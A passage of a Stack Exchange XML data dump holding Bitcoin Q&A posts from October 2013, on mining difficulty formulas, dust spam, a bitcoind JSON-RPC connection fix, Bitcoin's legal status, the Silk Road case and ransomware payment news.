on about the difference, but the website has a lot more to offer in this regard. &lt;a href=&quot;http://timekoin.org/&quot; rel=&quot;nofollow&quot;&gt;http://timekoin.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7180" LastActivityDate="2013-10-20T14:16:25.420" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13907" PostTypeId="2" ParentId="13890" CreationDate="2013-10-20T15:57:08.637" Score="0" Body="&lt;p&gt;You don't turn the steering wheel because there's a curve in the road 10 miles ahead. If the road ahead of you is clear and moves you in the right direction, you steer straight. When and if these threats materialize, Bitcoin will adapt to meet them. Maybe the solution will be sophisticated, decentralized, off-blockchain systems for transferring Bitcoins. Maybe not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your point is just that Bitcoin may face future problems that can't be solved, sure, it might. Or people might solve them. But you really can't solve a problem until you actually face it -- there's no way to know what resources you'll have to solve it with, who the stakeholders will be, and so on.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2013-10-21T01:11:35.080" LastActivityDate="2013-10-21T01:11:35.080" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="13908" PostTypeId="1" AcceptedAnswerId="13909" CreationDate="2013-10-20T17:04:55.293" Score="1" ViewCount="751" Body="&lt;p&gt;I've just noticed an odd transaction to my wallet address. &lt;a href=&quot;https://blockchain.info/address/1LnNQDKV6DiMnZ2rZ9yXpcnnTh7my1WusP&quot; rel=&quot;nofollow&quot;&gt;1LnNQDKV6DiMnZ2rZ9yXpcnnTh7my1WusP&lt;/a&gt; seems to be giving me a free 0.00000001 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Investigating further shows that I'm not the only one receiving the free 0.00000001 BTC. &lt;a href=&quot;https://blockchain.info/tx/cb8a8c62f3654557b6ea31c27d32e8de5bef502177c809b325f7e3a46638cc62&quot; rel=&quot;nofollow&quot;&gt;Take a look at the blockchain transaction.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is happening? Is this guy using blockchain's public note as an advertisement spam?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastActivityDate="2020-10-18T23:00:19.133" Title="Can someone explain those free 0.00000001 BTCs?" Tags="|transactions|blockchain|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13909" PostTypeId="2" ParentId="13908" CreationDate="2013-10-20T17:27:35.177" Score="2" Body="&lt;p&gt;You are right. This is a kind of advertisement which targets bitcoin users to spend bitcoin in a particular service. Something like an booklet which people in store are giving you when you have used their service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But keep in mind that blockchain public note is not a function of bitcoin itself (by this I mean that you can not add it though bitcoin client). This is a service offered by blockchain.info and they just add this by attaching a field to their database. You can read more about it by reading their &lt;a href=&quot;http://blockchain.info/wallet/website-faq&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt; in the section public note.&lt;/p&gt;&#xA;" OwnerUserId="1891" LastActivityDate="2013-10-20T17:27:35.177" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13910" PostTypeId="2" ParentId="8325" CreationDate="2013-10-20T18:19:35.467" Score="2" Body="&lt;p&gt;This is a old question, but I'd like to give some precisions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;You can calculate the new difficulty with the very simple formula &lt;code&gt;newDifficulty=currentDifficulty*600/averageTimeBetweenBlocksSinceLastDifficultyChange&lt;/code&gt;; your question is about calculating it from hash speed, the formula given by Compro01 is correct&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;averageTimeBetweenBlocksSinceLastDifficultyChange&lt;/code&gt; can be computed from the hash power with the formula &lt;code&gt;powerInHashesPerSecond=currentDifficulty*2^32/averageTimeBetweenBlocks&lt;/code&gt; ie &lt;code&gt;averageTimeBetweenBlocks=currentDifficulty*2^32/powerInHashesPerSecond&lt;/code&gt; which are the exact same formula Compro01 said&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7184" LastActivityDate="2013-10-20T18:19:35.467" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13913" PostTypeId="1" AcceptedAnswerId="13921" CreationDate="2013-10-20T19:01:48.273" Score="0" ViewCount="228" Body="&lt;p&gt;I can't find it anywhere, but I remember reading about a transaction that was spendable only by someone who provided the double hash of the genesis block. Was it simply that the private key of an address was seeded with the genesis block hash and coins were sent to that address as an output? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a transaction type that allows you to specify that providing a pre-image of a hash is the only requirement of redeeming coins?&lt;/p&gt;&#xA;" OwnerUserId="6024" LastEditorUserId="6024" LastEditDate="2013-10-21T15:39:29.787" LastActivityDate="2013-10-21T15:39:29.787" Title="There was a transaction spendable only by someone who provided the double hash of the genesis block. How was that transaction created?" Tags="|transactions|script|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13914" PostTypeId="1" CreationDate="2013-10-20T20:31:19.070" Score="1" ViewCount="5474" Body="&lt;p&gt;I'm able to connect to bitcoind using my command line and the process is running with the appropriate port but when I try to run it through XAMPP after using the JSON-RPC library (I used the PHP developer intro for the code) it's giving me the following error, and I don't know why: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning:  fopen(): Failed to enable crypto in /opt/lampp/htdocs/bitcoins/jsonRPCClient.php on line 132&#xA;&#xA;Warning:  fopen(https://...@127.0.0.1:8332/): failed to open stream: operation failed in /opt/lampp/htdocs/bitcoins/jsonRPCClient.php on line 132&#xA;Fatal error:  Uncaught exception 'Exception' with message 'Unable to connect to https://user:password&#xA;@127.0.0.1:8332/' in /opt/lampp/htdocs/bitcoins/jsonRPCClient.php:140&#xA;Stack trace:&#xA;#0 /opt/lampp/htdocs/bitcoins/testServer.php(7): jsonRPCClient-&amp;gt;__call('getinfo', Array)&#xA;#1 /opt/lampp/htdocs/bitcoins/testServer.php(7): jsonRPCClient-&amp;gt;getinfo()&#xA;#2 {main}&#xA;  thrown in /opt/lampp/htdocs/bitcoins/jsonRPCClient.php on line 140&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code is the following: (we tried toggling between http and https and it's still not working) &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once 'jsonRPCClient.php';&#xA;&#xA;$bitcoin = new jsonRPCClient('https://user:password@127.0.0.1:8332/');&#xA;&#xA;echo &quot;&amp;lt;pre&amp;gt;\n&quot;;&#xA;print_r($bitcoin-&amp;gt;getinfo());&#xA;echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7146" LastEditorUserId="7146" LastEditDate="2013-10-20T20:37:59.833" LastActivityDate="2017-08-12T15:02:39.177" Title="JSON RPC library unable to connect to bitcoind?" Tags="|bitcoind|json-rpc|server|php|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13915" PostTypeId="1" CreationDate="2013-10-20T23:13:33.967" Score="1" ViewCount="147" Body="&lt;p&gt;I'm interested in tracking the litigation, timing of hearings and other matters relating to the case against Ross Ulbricht.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What website, or resource would have up-to-date information of upcoming arraignments and other matters pertaining to the case?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-10-21T12:04:08.417" Title="How do I monitor and track the legal proceedings of Silk Road founder Ross Ulbricht?" Tags="|legal|silk-road|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13916" PostTypeId="1" CreationDate="2013-10-20T23:22:52.503" Score="0" ViewCount="958" Body="&lt;p&gt;My close friend who is the biggest currency rebellion I know. He introduced me to Bitcoin. Earlier he told me about some guy called Nothaus who created currency, in HI. However he got arrested for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Honestly he turned me onto BTC by advertising it as no banks, decentrized currency out of government control. Sounded great but is it legal, and is there something that is different in Nothaus's case as to why he was arrested?&lt;/p&gt;&#xA;" OwnerUserId="6017" LastActivityDate="2014-03-23T07:59:09.933" Title="Is BTC and Crypto Currency Illegal in USA" Tags="|legal|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13917" PostTypeId="2" ParentId="13916" CreationDate="2013-10-20T23:53:46.973" Score="1" Body="&lt;p&gt;It is legal. There are things you can do such as buying drugs online that are not legal. &lt;/p&gt;&#xA;" OwnerUserId="6193" LastActivityDate="2013-10-20T23:53:46.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13918" PostTypeId="1" CreationDate="2013-10-21T00:32:12.887" Score="5" ViewCount="237" Body="&lt;p&gt;I read &lt;a href=&quot;http://www.stuff.co.nz/waikato-times/business/technology/9293900/Nasty-virus-holds-computer-to-ransom&quot; rel=&quot;noreferrer&quot;&gt;this article&lt;/a&gt; recently, talking about the emergence of &amp;quot;ransomware&amp;quot;. An excerpt is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The newer CryptoLocker differs by taking the ransom to a whole new level. Upon infection it doesn't make a fanfare, to the contrary, it acts in stealth performing a nefarious task in the background. You probably won't even notice the task running, as CryptoLocker silently encrypts your data files, including your precious family photos, vital Microsoft Word documents, spreadsheets, and email.&lt;/p&gt;&#xA;&lt;p&gt;Upon completing the encryption of your files, it sends the unique key required for decrypting and unlocking your files over the internet to a secure remote server, and then the ransom begins. Immediately the CryptoLocker window displays containing the image of a shield, instructional text, and a countdown timer.&lt;/p&gt;&#xA;&lt;p&gt;It's important to understand that the ransomware is not bluffing. Unless you pay the ransom, you will lose access to any files that have been encrypted. Once the countdown starts you have about three days to make payment, otherwise the key is destroyed and you permanently lose the ability to decrypt your files.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It seems like a logical step to request payment through Bitcoin, given that it would be much harder to track down the person receiving the payment than most other options. &lt;a href=&quot;http://arstechnica.com/security/2013/10/youre-infected-if-you-want-to-see-your-data-again-pay-us-300-in-bitcoins/&quot; rel=&quot;noreferrer&quot;&gt;Sure enough, it's been done already&lt;/a&gt;! Admittedly, it could be a pretty daunting task for your average Joe Bloggs to figure out how to safely pay within 3 days using Bitcoin, but obviously the time limit can be made flexible.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Has any malware successfully used this technique yet, using Bitcoin? If so, does anyone know of a receiving address used more than once, thus giving an indication of how many people are paying a ransom?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Are there any websites that have statistics on such incidents?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-10-21T00:58:13.393" Title="Ransomware requesting payment through Bitcoin" Tags="|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13919" PostTypeId="2" ParentId="13918" CreationDate="2013-10-21T00:58:13.393" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Has any malware successfully used this technique yet, using Bitcoin?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I got around 10 people contacting me via localbitcoins in a day asking to buy exactly 2BTC to unlock their computers. I'd say it's pretty effective. I did get the addresses but don't seem to have it around now, when I looked around 30 people total had been paid out to two addresses. &lt;/p&gt;&#xA;" OwnerUserId="7173" LastActivityDate="2013-10-21T00:58:13.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13920" PostTypeId="2" ParentId="13890" CreationDate="2013-10-21T00:59:19.420" Score="2" Body="&lt;p&gt;Why would it? Bitcoin does not require a huge number of people to mine hard. Even the idea behind decentralised trust is more based on all people being able to check the validity of a miners generated block, not on actually expending the energy necessary for mining. Corruption is prevented even with only a few parties competing as miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Limiting the distribution of gain to only few parties - the remaining miners, which could be seen as the new kind of banks or at least coiners, would still not inherently damage Bitcoin as a currency nor would it hurt the distributed trust model I just mentioned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;++ EDIT ++&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, after the discussion growing somewhat exhaustive...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your original question was if Bitcoin is &quot;doomed&quot; to go a specific course. That is, if its development is at the current time bound to a predictable pattern. And I think the answer is plainly: No, it is not!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your arguments are of course valid concerns, but economics is not a predictive science. Patterns observed in economics are always derived in retrospect. It is unreasonable to look at the Bitcoin development now and predict its course as beeing doomed (or anything else for that matter) in advance.&lt;/p&gt;&#xA;" OwnerUserId="2136" LastEditorUserId="2136" LastEditDate="2013-10-21T11:22:24.813" LastActivityDate="2013-10-21T11:22:24.813" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="13921" PostTypeId="2" ParentId="13913" CreationDate="2013-10-21T01:01:38.863" Score="0" Body="&lt;p&gt;This transaction is described quite well on the wiki. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Script#Transaction_puzzle&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Script#Transaction_puzzle&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7173" LastActivityDate="2013-10-21T01:01:38.863" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13922" PostTypeId="2" ParentId="13916" CreationDate="2013-10-21T01:03:28.777" Score="3" Body="&lt;p&gt;The United States government has specifically stated that Bitcoins are not inherently illegal and have legal uses. You can find this both in the new FinCEN guidance and in the legal documents submitted in the Ross Ulbricht case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, for example, pages 12 and 13 of &lt;a href=&quot;http://www.popehat.com/wp-content/uploads/2013/10/UlbrichtCriminalComplaint1.pdf&quot; rel=&quot;nofollow&quot;&gt;this complaint&lt;/a&gt;: &lt;em&gt;&quot;Bitcoins are not illegal in and of themselves and have known legitimate uses.&quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="-1" LastEditDate="2014-03-23T07:27:04.880" LastActivityDate="2014-03-23T07:27:04.880" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13923" PostTypeId="5" CreationDate="2013-10-21T01:39:21.163" Score="0" Body="&lt;p&gt;Project page: &lt;a href=&quot;http://electrum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://electrum.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Electrum is a lightweight Bitcoin client written in Python. It does not store the blockchain so disk usage is minimal. Electrum only stores block headers to ensure that it is connected to nodes using the same blockchain and verifies that the headers have valid PoWs. In order to get data about transactions, Electrum must connect to special full nodes running an Electrum server software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Questions under this tag should be about the usage and development of Electrum.&lt;/p&gt;&#xA;" OwnerUserId="3236" LastEditorUserId="48884" LastEditDate="2017-10-20T20:06:22.917" LastActivityDate="2017-10-20T20:06:22.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13924" PostTypeId="4" CreationDate="2013-10-21T01:39:21.163" Score="0" Body="Electrum is a lightweight Bitcoin client written in Python" OwnerUserId="3236" LastEditorUserId="13866" LastEditDate="2023-05-11T13:46:27.957" LastActivityDate="2023-05-11T13:46:27.957" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="13925" PostTypeId="1" CreationDate="2013-10-21T05:13:55.027" Score="2" ViewCount="529" Body="&lt;p&gt;I sent a payment of 0.9995 bitcoins back in April to my MtGox account. However I just checked and it has 0 confirmations. Additionally it doesn't show in my wallet or my MtGox account. Is it lost? Can I get it back?&lt;/p&gt;&#xA;" OwnerUserId="7189" LastEditorUserId="15412" LastEditDate="2014-06-17T21:53:18.807" LastActivityDate="2014-06-17T21:53:18.807" Title="No confirmations, waited for months!" Tags="|mtgox|confirmations|lost-transactions|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13926" PostTypeId="2" ParentId="3754" CreationDate="2013-10-21T08:15:59.257" Score="5" Body="&lt;p&gt;MacMiner is the first and best native Mac GUI for bfgminer, cgminer and cpuminer&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://macminer.fabulouspanda.com/macminer/&quot; rel=&quot;nofollow&quot;&gt;MacMiner website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="129" LastEditDate="2015-07-30T03:41:59.110" LastActivityDate="2015-07-30T03:41:59.110" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13928" PostTypeId="2" ParentId="7524" CreationDate="2013-10-21T08:18:17.703" Score="0" Body="&lt;p&gt;EasyMiner should run fine in a virtual machine, but you can alternatively grab MacMiner which unlike bitminter doesn't require java&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://macminer.fabulouspanda.com/&quot; rel=&quot;nofollow&quot;&gt;MacMiner website&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="129" LastEditorUserId="129" LastEditDate="2015-07-30T03:47:00.697" LastActivityDate="2015-07-30T03:47:00.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13929" PostTypeId="2" ParentId="13915" CreationDate="2013-10-21T11:29:35.540" Score="1" Body="&lt;p&gt;As a partial answer, let me point you to the three places of which I happen to know that they had more than one detailed report on the subject, starting the count with the arrest of Ulbricht. &lt;strong&gt;Please note that this list is probably a better reflection of my personal browsing habits than than any objective standard about being particularly fast or complete sources.&lt;/strong&gt; All of these are deep links to local search results for &quot;silk road&quot;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.popehat.com/?s=silk%20road&quot; rel=&quot;nofollow&quot;&gt;Popehat&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.techdirt.com/search-g.php?q=silk%20road&quot; rel=&quot;nofollow&quot;&gt;Tech Dirt&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://arstechnica.com/search/?query=silk%20road&quot; rel=&quot;nofollow&quot;&gt;Ars Technica&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Even better might be a news aggregator, such as &lt;a href=&quot;http://slashdot.org/index2.pl?fhfilter=silk%20road&quot; rel=&quot;nofollow&quot;&gt;Slashdot&lt;/a&gt; (again a deep link to search results for &quot;silk road&quot;). You won't find too much original content beyond a summary and one or more links, but it is fairly likely that major developments reported anywhere will find their way onto Slashdot.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorUserId="120" LastEditDate="2013-10-21T12:04:08.417" LastActivityDate="2013-10-21T12:04:08.417" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13930" PostTypeId="2" ParentId="13890" CreationDate="2013-10-21T11:52:07.717" Score="4" Body="&lt;p&gt;This is my second answer, which does not cover your question directly but is rather given after the lengthy discussion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is the first approach to a distributed, cryptographic currency. As of now it has not been the last one however. Bitcoin layed the foundation to spawn a lot of similar currencies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is not destructive to the idea. in fact, the original paper calls for network participants do improve on the concept by forming a collective consensus about using altered algorithms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin does not suffer all the same problems in all the same ways as Bitcoin does. And other spin-off technologies have other reasons to exist.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the answer could be yes. Bitcoin could be &quot;doomed&quot; as you put it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... &lt;em&gt;but&lt;/em&gt; ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not mean distributed cryptocurrency is doomed. You said, I quote:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I really want a question that collates and settles this for newcomers, ...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And the answer for those newcomers would be, not to dismiss the concept behind Bitcoin right away. Rather keep an eye on the development and come to an informed conclusion about what fits you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin has been the opening door to a technology we are discussing here. Its future may bear another name. This is no reason for regressing to a centralised currency however.&lt;/p&gt;&#xA;" OwnerUserId="2136" LastActivityDate="2013-10-21T11:52:07.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13931" PostTypeId="2" ParentId="131" CreationDate="2013-10-21T12:00:36.867" Score="5" Body="&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The (US) Law Library of Congress has published a report &lt;a href=&quot;http://www.loc.gov/law/help/bitcoin-survey/2014-010233%20Compiled%20Report_.pdf&quot; rel=&quot;nofollow&quot;&gt;&quot;Regulation of Bitcoin in Selected Jurisdictions&quot;&lt;/a&gt; dated January 2014 and addressing the status in 40 nations plus the EU. This may currently be one of the best sources you can hope for, except if you're interested in the status inside the USA itself or some very small economy, maybe.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Since then, it was &lt;a href=&quot;http://www.itnews.com.au/News/371774,russia-bans-bitcoin.aspx&quot; rel=&quot;nofollow&quot;&gt;reported&lt;/a&gt; on February 7th 2014 that Russia &quot;bans Bitcoin,&quot; based on &lt;a href=&quot;http://genproc.gov.ru/smi/news/genproc/news-86432/&quot; rel=&quot;nofollow&quot;&gt;this official Russian statement&lt;/a&gt; from February 6th 2014. Whilst going to a less direct source such as media reports obviously risks getting an incomplete or otherwise altered message, one way to have this interpreted into English is to read Russia Today's English-language article on it, &lt;a href=&quot;http://rt.com/business/bitcoin-russia-use-ban-942/&quot; rel=&quot;nofollow&quot;&gt;&quot;Bitcoins cannot be used in Russia - Prosecutor General’s Office.&quot;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My answer below is less up-to-date and less authoritative than either of the above sources.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I doubt any country has legislation that actually outlaws the use, existence, etc., of any virtual currency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, existing legislation obviously applies. I've tried to learn some aspects of this for a few big countries. Since there is no legal precedent, it seems hard even for lawyers to answer such questions. Here are some main points:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Financial Institutions&lt;br&gt;&#xA;Handling Bitcoin for more than personal use (as judged by local law, not by you, which could be triggered simply by handling more than pocket change) or as payment for goods (be it personal or as a merchant) can potentially make you fit definitions meant for financial institutions. In many countries, that seems to trigger not just costly and elaborate requirements for getting licensed (or somehow exempted, which could involve arguing it out with regulators, as the Bitcoin Foundation is currently doing in the U.S.), but also lots of anti-money laundering and anti-terrorist funding provisions. Basically, most countries expect you to very proactively spy on your customers, report your findings to the government, and to lie about it. Details vary; in the U.S., Federal law prescribes just exactly how you have to lie even when subpoenaed about this process; in Germany, it is sufficient to shut up about it and lie to your customers if they start asking questions. Then again, in the U.S. the Federal government seems, at least as far as it is codified, happy to be kept informed, whilst Germany requires you to stall some transactions whilst the government makes up its mind about whether to allow you to proceed.&lt;br&gt;&#xA;Some more background: If you want to do more than just mine, purchase goods using Bitcoin, or sell goods for Bitcoin, you are likely viewed as a money service business in the U.S. (or its equivalent in many other countries), at least by some of the state and federal agencies in charge of policing aspects of that. Note that this, like almost everything, can naturally be disputed; the &lt;a href=&quot;https://bitcoinfoundation.org/blog/?p=152&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Foundation is doing just that&lt;/a&gt;). Anyways, if you accept being a MSB, in the U.S., &lt;a href=&quot;http://www.ecfr.gov/cgi-bin/text-idx?c=ecfr&amp;amp;SID=9fe04feb4ea54bd0ba469fa6ab27bbb6&amp;amp;rgn=div5&amp;amp;view=text&amp;amp;node=31:3.1.6.1.6&amp;amp;idno=31#31:3.1.6.1.6.3.5.8&quot; rel=&quot;nofollow&quot;&gt;Federal Regulation 31, Part 1022&lt;/a&gt; triggers, of which Section 320 Letter d Item 1 tells you just how to deal with subpoenas that would reveal your spying on your customers [hint: don't comply other than pointing this rule out, and promptly inform the government agency associated with finance, FinCEN].&lt;br&gt;&#xA;As far as I can tell, it's really no different from handling other dirty things like dollars or euros that we all share with both bad and good guys.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Taxation&lt;br&gt;&#xA;How do you (have to) share proceeds in Bitcoin with the taxman? Details vary, but the basic idea is that either your Bitcoin will be counted as money or a good. As with all issues, the path of least resistance is to go along with what your national government agency thinks best. In the UK, I believe there was some statement by HR Revenue arguing to treat Bitcoin the same way as shop's gift certificates are treated, which I believe means tax is only due when they are used for a purchase. In Germany, at least the bank regulator sees Bitcoin as units of denominations for invoices (but not as a currency), which presumably will mean that the taxation agency might view them as taxable like money---but then again, it rarely happens that different agencies find a logically consistent view on these things.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Illegal Content&lt;br&gt;&#xA;Your hypothetical example of child porn or pirated content in the blockchain obviously raises issues. Why don't you post another question about the legality of it in different nations in the first place? Jokes aside, I think you will find that in some nations you'd better not even download sections of the blockchain that may contain illegal content in the first place, whilst elsewhere you are mostly fine as long as you can demonstrate that you have built-in appropriate filters to prevent passing such data on to others. Maybe this is an area where it could be appropriate to hire a lawyer who could, in the even more hypothetical case of this both occuring and you being accused of playing an illegal role in it, argue that since people do not tend to view the blockchain directly, what you are serving is just computer data, not human-viewable porn?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2014-02-10T18:45:18.097" LastActivityDate="2014-02-10T18:45:18.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13932" PostTypeId="2" ParentId="13557" CreationDate="2013-10-21T12:38:49.690" Score="2" Body="&lt;p&gt;&lt;a href=&quot;http://yro.slashdot.org/story/13/10/06/0242257/doj-hasnt-actually-found-silk-road-founders-bitcoin-yet&quot; rel=&quot;nofollow&quot;&gt;This Slashdot article&lt;/a&gt; sums the current state up pretty well (despite being more than a week old).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry for posting this short comment as an answer; I have insufficient reputation to write comments but am strangely allowed to post answers instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE (EDIT):&#xA;As probably most readers of this have found by now, the figure of known seized Bitcoins has risen by 144000 BTC contained in &lt;a href=&quot;https://blockchain.info/address/1FfmbHfnpaZjKFvyi1okTjJJusN455paPH&quot; rel=&quot;nofollow&quot;&gt;the single Bitcoin address 1FfmbHfnpaZjKFvyi1okTjJJusN455paPH&lt;/a&gt;, as reported e.g. in &lt;a href=&quot;http://www.forbes.com/sites/andygreenberg/2013/10/25/fbi-says-its-seized-20-million-in-bitcoins-from-ross-ulbricht-alleged-owner-of-silk-road/&quot; rel=&quot;nofollow&quot;&gt;Forbes&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastEditorDisplayName="user6049" LastEditDate="2013-10-29T05:47:59.723" LastActivityDate="2013-10-29T05:47:59.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13935" PostTypeId="2" ParentId="13914" CreationDate="2013-10-21T15:37:42.800" Score="1" Body="&lt;p&gt;By default, bitcoind RPC goes over http, not https.&#xA;Unless of course you enabled SSL by generating an SSL key and setting the required config option...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; rpcssl=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, &#xA;This line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bitcoin = new jsonRPCClient('https://user:password@127.0.0.1:8332/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should be changed to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$bitcoin = new jsonRPCClient('http://user:password@127.0.0.1:8332/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If that doesn't answer it let me know. There are a few other ways around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Welcome to the world of crystallographic currencies based on the satoshi client! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this little piece of info should be posted pretty inappropriately, it's hidden in documentation no one reads.&lt;/p&gt;&#xA;" OwnerUserId="5651" LastEditorUserId="1307" LastEditDate="2014-01-05T12:21:02.837" LastActivityDate="2014-01-05T12:21:02.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
